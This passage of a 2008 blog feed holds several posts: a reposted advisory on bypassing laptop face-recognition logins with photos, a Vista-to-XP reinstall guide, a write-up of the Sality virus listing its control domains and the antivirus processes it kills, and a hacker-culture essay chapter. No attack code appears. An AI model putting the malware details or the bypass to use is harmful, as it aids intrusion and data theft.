SVRT-07-08&lt;br /&gt;Initial vendor notification : 20-11-2008&lt;br /&gt;Release Date : 08-12-2008&lt;br /&gt;Update Date : 08-12-2008&lt;br /&gt;Discovered by : SVRT-Bkis&lt;br /&gt;Attack Type : Authentication Mechanism Bypass&lt;br /&gt;Security Rating : Critical&lt;br /&gt;Impact : Loss of Confidentiality and Integrity&lt;br /&gt;Affected Software : Lenovo Veriface III (prior version is vulnerable)&lt;br /&gt;Asus SmartLogon V1.0.0006 (prior version is vulnerable)&lt;br /&gt;Toshiba Face Recognition 2.0.2.32 (prior version is vulnerable)&lt;br /&gt;Video demo: &lt;a href="http://security.bkis.vn/Proof-of-concept/Face_Recognition/FaceRecognitionBypassing_DemoVideo.wmv" target="_blank"&gt;http://security.bkis.vn/Proof-of-concep&lt;wbr&gt;t/Face_Recognition/FaceRecognitionBypass&lt;wbr&gt;ing_DemoVideo.wmv&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; 2. Technical Description&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After 4 months researching on Face Recognition technology apply on laptop, Bkis, Vietnam, has come to a conclusion that the User Authentication Mechanisms Based on Face Recognition of Asus, Lenovo and Toshiba haven't met security needs.&lt;br /&gt;&lt;br /&gt;Bkis research show that the Authentication Mechanism Based on Face-Recognition of these 3 laptop vendors can all be bypassed, even when set at highest security level.&lt;br /&gt;&lt;br /&gt;In order to make use of this technology, a laptop's owner uses webcam to capture his or her face at a close distance and at different viewpoints. This step helps the laptop to "remember" facial characteristics of its owner, and store these data in the face database. Bkis's research, however, show that an unauthorized person can easily regenerate suite of fake face recognition to bypass the authentication mechanism.&lt;br /&gt;&lt;br /&gt;Performing tests on laptops with 1.3 Megapixel camera produced by Lenovo - Asus - Toshiba, using the Bypass Model above with special photos or videos of some users, we have been able to pass the User Authentication Based on Face Recognition and log into user accounts on Windows Vista without difficulty.&lt;br /&gt;&lt;br /&gt;All the applications tested are of their latest versions and are set to Highest Security Level.&lt;br /&gt;- Lenovo Veriface III&lt;br /&gt;- Asus SmartLogon V1.0.0005&lt;br /&gt;- Toshiba Face Recognition 2.0.2.32&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; 3. Solution&lt;/span&gt;&lt;br /&gt;In the mean time waiting for this vulnerability to be fixed, Bkis recommends that users all over the world stop using face authentication to log in their laptops.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Credit&lt;/span&gt;&lt;br /&gt;Thanks Le Nhat Minh, Nguyen Minh Duc, Bui Quang Minh, Le Minh Hung.&lt;br /&gt;----------------------------------------&lt;div class="para"&gt;&lt;wbr&gt;------------------------&lt;br /&gt;Security Vulnerability Research Team (SVRT-Bkis)&lt;br /&gt;Bach Khoa Internetwork Security Center (Bkis)&lt;br /&gt;Hanoi University of Technology (Vietnam)&lt;br /&gt;Office: 5th Floor, Hitech building - 1A Dai Co Viet, Hanoi, Vietnam&lt;br /&gt;Tel: 84.4.38 68 47 57 Ext 128&lt;br /&gt;Mobile: +84 983 60 99 20&lt;br /&gt;Email: svrt@bkav.com.vn&lt;br /&gt;Website: &lt;a href="http://www.bkav.com.vn/" target="_blank"&gt;www.bkav.com.vn&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-482031860227927589?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/482031860227927589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=482031860227927589' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/482031860227927589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/482031860227927589'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/vulnerability-in-face-recognition.html' title='VULNERABILITY IN FACE RECOGNITION AUTHENTICATION MECHANISM'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-7256478976570242753</id><published>2008-12-09T20:18:00.005+05:30</published><updated>2008-12-09T21:02:11.163+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>how to remove vista</title><content type='html'>So you bought a copy of vista and installed in your computer removing your old &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;xp&lt;/span&gt;?&lt;br /&gt;For the first few days you play with the newly installed &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;os&lt;/span&gt; then you finally decide to hate the much hyped "windows vista".Now you want to remove vista and get back to reliable &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;XP&lt;/span&gt; but it &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;isnt&lt;/span&gt; that easy.It seems as if there is no way to do so.So you try to &lt;a href="http://www.google.com/"&gt;google&lt;/a&gt; around with tags "how to remove vista" and "how to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;uninstall&lt;/span&gt; vista" ending up with process which seems too complicated for end users. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;There for i am listing here the procedure to remove &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;VISTA&lt;/span&gt; and back to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;XP&lt;/span&gt; in easy simple steps which any one can follow.&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;what you need?&lt;/span&gt;&lt;br /&gt;1-windows vista &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;bootable&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;dvd&lt;/span&gt;&lt;br /&gt;2-windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;xp&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;bootable&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;cd&lt;/span&gt;&lt;br /&gt;3-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Dvds&lt;/span&gt; to backup your data(&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;optional&lt;/span&gt;)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;step-1&lt;br /&gt;&lt;/span&gt;First step is to back all your data in the drive which your vista is installed.You can do this using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;dvds&lt;/span&gt; external storage devices or even moving the data to other device its &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;up to&lt;/span&gt; you.This step is optional you can skip this and directly &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;goto&lt;/span&gt; step 2.But &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_17"&gt;remember&lt;/span&gt; you will never be able to get the data back as we will &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_18"&gt;format&lt;/span&gt; the drive in the following steps.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;step-2&lt;br /&gt;&lt;/span&gt;Insert the windows vista &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;dvd&lt;/span&gt; and restart your computer and boot from the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;dvd&lt;/span&gt;.(press F11 during boot to give preference to your &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;dvd&lt;/span&gt; drive over your hard drive).Now windows file will start loading.Let it load and follow the instruction &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_22"&gt;until&lt;/span&gt; you get a screen which lists all your drives and asks to select a drive to install vista into.select the advanced option and delete the drive in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;whcih&lt;/span&gt; vista is installed(usually c).Then remove the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;dvd&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Step-3&lt;br /&gt;&lt;/span&gt;Insert the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;XP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;cd&lt;/span&gt; into the drive and boot from it.Now select to create a new drive from the free space &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_27"&gt;available&lt;/span&gt; from the deletion of the drive &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;in whcih&lt;/span&gt; vista was installed.And install &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;XP&lt;/span&gt; into it as &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_30"&gt;usual&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-7256478976570242753?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/7256478976570242753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=7256478976570242753' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7256478976570242753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/7256478976570242753'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/how-to-remove-vista.html' title='how to remove vista'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1315403965505014930</id><published>2008-12-06T22:18:00.004+05:30</published><updated>2008-12-20T18:48:20.451+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus/antivirus'/><title type='text'>win32:sality Virus</title><content type='html'>I was playing with a few soft wares when my avast antivirus warned me of this "win32:sality virus".As usual i neglected it.This was a big mistake i made.Two hours later my antivirus declared VLC as virus, 4 hours later notepad was declared as virus and 24 hours later almost all exes were declared as virus. Many programs terminated abnormally.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;I started searching net for information on this virus.When i got the following info about it:-&lt;br /&gt;&lt;strong&gt;Characteristics &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Type&lt;/strong&gt; : Virus&lt;br /&gt;&lt;strong&gt;Category&lt;/strong&gt; : Win32&lt;br /&gt;&lt;strong&gt;Also known as&lt;/strong&gt;: W32.HLLP.Sality (Symantec)&lt;br /&gt;&lt;br /&gt;&lt;a id="section1" name="section1"&gt;&lt;/a&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;br /&gt;Win32/Sality is a polymorphic virus that infects Win32 PE executable files. It also contains trojan components. Win32/Sality has been known to be downloaded by variants of the Win32/Bagle family.&lt;br /&gt;&lt;a id="section2" name="section2"&gt;&lt;/a&gt;&lt;strong&gt;Method of Infection&lt;br /&gt;&lt;/strong&gt;When an infected file is executed the virus decrypts itself and drops a DLL file into the %System% directory. The DLL file is injected into other running processes. The virus then executes the host program code.&lt;br /&gt;Some examples of the names used by the Sality DLL file as reported to CA from the wild include the following:&lt;br /&gt;&lt;em&gt;%System%\syslib32.dll&lt;br /&gt;%System%\oledsp32.dll&lt;br /&gt;%System%\olemdb32.dll&lt;br /&gt;%System%\wcimgr32.dll&lt;br /&gt;%System%\wmimgr32.dll&lt;/em&gt;&lt;br /&gt;Note: '%System%' is a variable location. The malware determines the location of the current System folder by querying the operating system. The default installation location for the System directory for Windows 2000 and NT is C:\Winnt\System32; for 95,98 and ME is C:\Windows\System; and for XP is C:\Windows\System32.&lt;br /&gt;Many variants of Sality also attempt to infect executable files referenced by values in the following registry keys:&lt;br /&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;This enables the virus to run at each Windows start.&lt;br /&gt;&lt;a id="section3" name="section3"&gt;&lt;/a&gt;&lt;strong&gt;Method of Distribution&lt;br /&gt;&lt;/strong&gt;Via File Infection&lt;br /&gt;Sality searches local drives C:\ to Y:\ for Windows PE executable files to infect. Some variants do not infect files with a file size below 4K bytes or above 20M bytes. The virus replaces code at the entry point of the executable with its own code, and appends an encrypted copy of itself to the host file, which increases the size of the infected program. When the file is executed the virus extracts and runs the appended code, and then runs the host program code to hide its presence.&lt;br /&gt;Via Network Shares&lt;br /&gt;Sality enumerates shares on the network, and then searches located shares for Windows PE executable files in the same way as outlined above on local drives.&lt;br /&gt;&lt;a id="section4" name="section4"&gt;&lt;/a&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Payload&lt;br /&gt;&lt;/span&gt;Steals System Information&lt;br /&gt;&lt;/strong&gt;Some Sality variants collect information about the infected system and e-mail this information to the domain mail.ru.&lt;br /&gt;The information sent includes, but is not limited to, the following:&lt;br /&gt;OS version&lt;br /&gt;IP address&lt;br /&gt;Computer name&lt;br /&gt;Recent URLs visited&lt;br /&gt;Passwords&lt;br /&gt;ISP Dial up Connection details and Password&lt;br /&gt;&lt;strong&gt;Downloads and Executes Arbitrary Files&lt;br /&gt;&lt;/strong&gt;Sality variants contact certain domains which provide instructions to download and execute files, some of the domains contacted are listed below:&lt;br /&gt;&lt;em&gt;hut2.ruinvis1blearm&lt;/em&gt;&lt;br /&gt;&lt;em&gt;3333.comegozdq.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;5558x7.comwtcvxu.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;fdpgb3.combpfq02.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;u7zywp.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;zvco6m.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;qiredremer.biz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;sbapodremer.biz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;pgpwdremer.biz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;gogcojdremer.biz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;rus0396kuku.com&lt;/em&gt;&lt;br /&gt;&lt;em&gt;vrrnscdremer.biz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;connect2me.org&lt;br /&gt;&lt;/em&gt;The files downloaded may be used to give a remote unauthorized user extended control of the affected machine. Sality may also download variants of other malware such as Win32/Onecooked.&lt;br /&gt;Sality also uses this method to download updated versions of itself.&lt;br /&gt;&lt;strong&gt;Deletes files&lt;br /&gt;&lt;/strong&gt;Sality searches subdirectories on drives C:\ to Y:\ for files with the following extensions:&lt;br /&gt;.vdb.avc&lt;br /&gt;Files located are deleted. This is presumably to disable or impair certain AV products.&lt;br /&gt;&lt;strong&gt;Terminates Processes&lt;/strong&gt;&lt;br /&gt;Sality searches for and terminates any processes which match a list contained in its code; the following is an example of such a list:&lt;br /&gt;&lt;em&gt;AVXQUAR&lt;br /&gt;ICSUPP&lt;br /&gt;ICSSUPPNT&lt;br /&gt;ESCANH&lt;br /&gt;AVLTMAIN&lt;br /&gt;VSMAIN&lt;br /&gt;TRJSCAN&lt;br /&gt;PROTECTX&lt;br /&gt;PORTDETECTIVE&lt;br /&gt;PINGSCAN&lt;br /&gt;PERISCOPE&lt;br /&gt;NPFMESSENGER&lt;br /&gt;MCAGENT&lt;br /&gt;LOCKDOWN&lt;br /&gt;DRWTSN32&lt;br /&gt;DRWATSON&lt;br /&gt;CLEANER&lt;br /&gt;BLACKICE&lt;br /&gt;BIPCP&lt;br /&gt;BIDSERVER&lt;br /&gt;BIDEF&lt;br /&gt;AVPROTECT&lt;br /&gt;AVGSERV&lt;br /&gt;ATGUARD&lt;br /&gt;AVSYNMGR&lt;br /&gt;AUTOTRACE&lt;br /&gt;SAVSCAN&lt;br /&gt;RTVSCAN&lt;br /&gt;NUPGRADE&lt;br /&gt;NPROTECT&lt;br /&gt;MGUI&lt;br /&gt;MCUPDATE&lt;br /&gt;NMAIN&lt;br /&gt;ANTI&lt;br /&gt;NOD32&lt;br /&gt;ZONEALARM&lt;br /&gt;OUTPOST&lt;br /&gt;DRWEB&lt;br /&gt;KAV&lt;br /&gt;AVP&lt;br /&gt;NAV &lt;/em&gt;&lt;br /&gt;When a processes is terminated Sality displays an error message to indicate a fake error condition.&lt;br /&gt;&lt;strong&gt;Logs Keystrokes&lt;br /&gt;&lt;/strong&gt;Some Sality variants log the affected user's keystrokes to a file in the %System% directory. The file name is prefixed with "win" followed by random characters, for example:&lt;br /&gt;%System%\WINFIGBO.BGO&lt;br /&gt;The location of this file is e-mailed to the mail.ru domain.&lt;br /&gt;&lt;strong&gt;Changes Firewall Settings&lt;br /&gt;&lt;/strong&gt;Some Sality trojan components modify the Windows Firewall settings to add themselves as authorized applications. IT was with a name of "&lt;strong&gt;ipsec&lt;/strong&gt;" in my case.This effectively allows these components to bypass the firewall.In my case my firewall was repeatedly turned off by the virus.&lt;br /&gt;&lt;strong&gt;HTTP Proxy&lt;br /&gt;&lt;/strong&gt;Some Sality variants run an HTTP proxy on port 80 of the affected machine. The trojan contacts the domain shared-admin.com, and receives instructions to connect to the domain connect2me.org, which then returns an IP address. All requests sent to the proxy running on the affected machine are forwarded to the previously returned IP address.&lt;br /&gt;&lt;strong&gt;Displays Message&lt;/strong&gt;&lt;br /&gt;Some Sality variants check if the Date is the 10th of October and may display an alarmist message if the hour and the minute have the same value, for example 21:21. Please see below for an example of the message:&lt;br /&gt;&lt;em&gt;"Hey, Lamer! Say "Bye-bye" to your data!"&lt;/em&gt;&lt;br /&gt;After reading it i realised that on how big trouble i have put myself into.I immediately tried my best to remove it:-&lt;br /&gt;i)system restore:-didn't work soon it was also infected with the virus&lt;br /&gt;ii)manually searched for possible dlls:-nothing was found&lt;br /&gt;iii)tried sality remover from avg-no use (&lt;a href="http://www.avg.com/virus-removal.ndi-67769"&gt;Still Try it&lt;/a&gt;)&lt;br /&gt;iv)tried safe mode:-it didn't boot in safe mode&lt;br /&gt;&lt;br /&gt;Finally i had to format my system. So if you get any indication that any software is infected with this virus &lt;strong&gt;do not&lt;/strong&gt; install it.There is no way out once your system gets infected with it.So be careful.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note:-&lt;/span&gt;This virus has a special property of hiding in disk partitons. So if you finally decide to format your pc then first delete all drives and then recreate them during installation.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remove virus,antivirus,win32 sality remover,how to remove win32 sality virus.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1315403965505014930?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1315403965505014930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1315403965505014930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1315403965505014930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1315403965505014930'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/win32sality-virus.html' title='win32:sality Virus'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-3276747766258248538</id><published>2008-11-21T23:09:00.006+05:30</published><updated>2008-11-22T09:47:03.307+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>How to become a hacker-ch 4</title><content type='html'>&lt;p&gt;&lt;b&gt;&lt;i style="color: rgb(255, 255, 255);"&gt;&lt;span style="" lang="EN"&gt;chapter-4&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;i style="color: rgb(255, 255, 255);"&gt;&lt;span style="" lang="EN"&gt;Table of contents&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Points For Style&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Other Resources&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Frequently Asked Questions&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;The Hacker/Nerd Connection&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Contrary to popular myth, you don't have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something of a social outcast helps you stay concentrated on the really important things, like thinking and hacking.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;p&gt;&lt;span style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;For this reason, many hackers have adopted the label ‘geek’ as a badge of pride — it's a way of declaring their independence from normal social expectations (as well as a fondness for other things like science fiction and strategy games that often go with being a hacker). The term 'nerd' used to be used this way back in the 1990s, back when 'nerd' was a mild pejorative and 'geek' a rather harsher one; sometime after 2000 they switched places, at least in U.S. popular culture, and there is now even a significant geek-pride culture among people who aren't techies.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;If you can manage to concentrate enough on hacking to be good at it and still have a life, that's fine. This is a lot easier today than it was when I was a newbie in the 1970s; mainstream culture is much friendlier to techno-nerds now. There are even growing numbers of people who realize that hackers are often high-quality lover and spouse material.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;If you're attracted to hacking because you don't have a life, that's OK too — at least you won't have trouble concentrating. Maybe you'll get a life later on.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;Points For Style&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Again, to be a hacker, you have to enter the hacker mindset. There are some things you can do when you're not at a computer that seem to help. They're not substitutes for hacking (nothing is) but many hackers do them, and feel that they connect in some basic way with the essence of hacking.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Learn to write your native language well. Though it's a common stereotype that programmers can't write, a surprising number of hackers (including all the most accomplished ones I know of) are very able writers.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Read science fiction. Go to science fiction conventions (a good way to meet hackers and proto-hackers). &lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Train in a martial-arts form. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most popular forms among hackers are definitely Asian empty-hand arts such as Tae Kwon Do, various forms of Karate, Kung Fu, Aikido, or Ju Jitsu. Western fencing and Asian sword arts also have visible followings. In places where it's legal, pistol shooting has been rising in popularity since the late 1990s. The most hackerly martial arts are those which emphasize mental discipline, relaxed awareness, and control, rather than raw strength, athleticism, or physical toughness.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Study an actual meditation discipline. The perennial favorite among hackers is Zen (importantly, it is possible to benefit from Zen without acquiring a religion or discarding one you already have). Other styles may work as well, but be careful to choose one that doesn't require you to believe crazy things.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Develop an analytical ear for music. Learn to appreciate peculiar kinds of music. Learn to play some musical instrument well, or how to sing.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Develop your appreciation of puns and wordplay.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;The more of these things you already do, the more likely it is that you are natural hacker material. Why these things in particular is not completely clear, but they're connected with a mix of left- and right-brain skills that seems to be important; hackers need to be able to both reason logically and step outside the apparent logic of a problem at a moment's notice.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Work as intensely as you play and play as intensely as you work. For true hackers, the boundaries between "play", "work", "science" and "art" all tend to disappear, or to merge into a high-level creative playfulness. Also, don't be content with a narrow range of skills. Though most hackers self-describe as programmers, they are very likely to be more than competent in several related skills — system administration, web design, and PC hardware troubleshooting are common ones. A hacker who's a system administrator, on the other hand, is likely to be quite skilled at script programming and web design. Hackers don't do things by halves; if they invest in a skill at all, they tend to get very good at it.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="" lang="EN"&gt;Finally, a few things &lt;i&gt;not&lt;/i&gt; to do.&lt;/span&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:10;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN"&gt;Don't use a silly, grandiose user ID or screen name. &lt;/span&gt;&lt;span 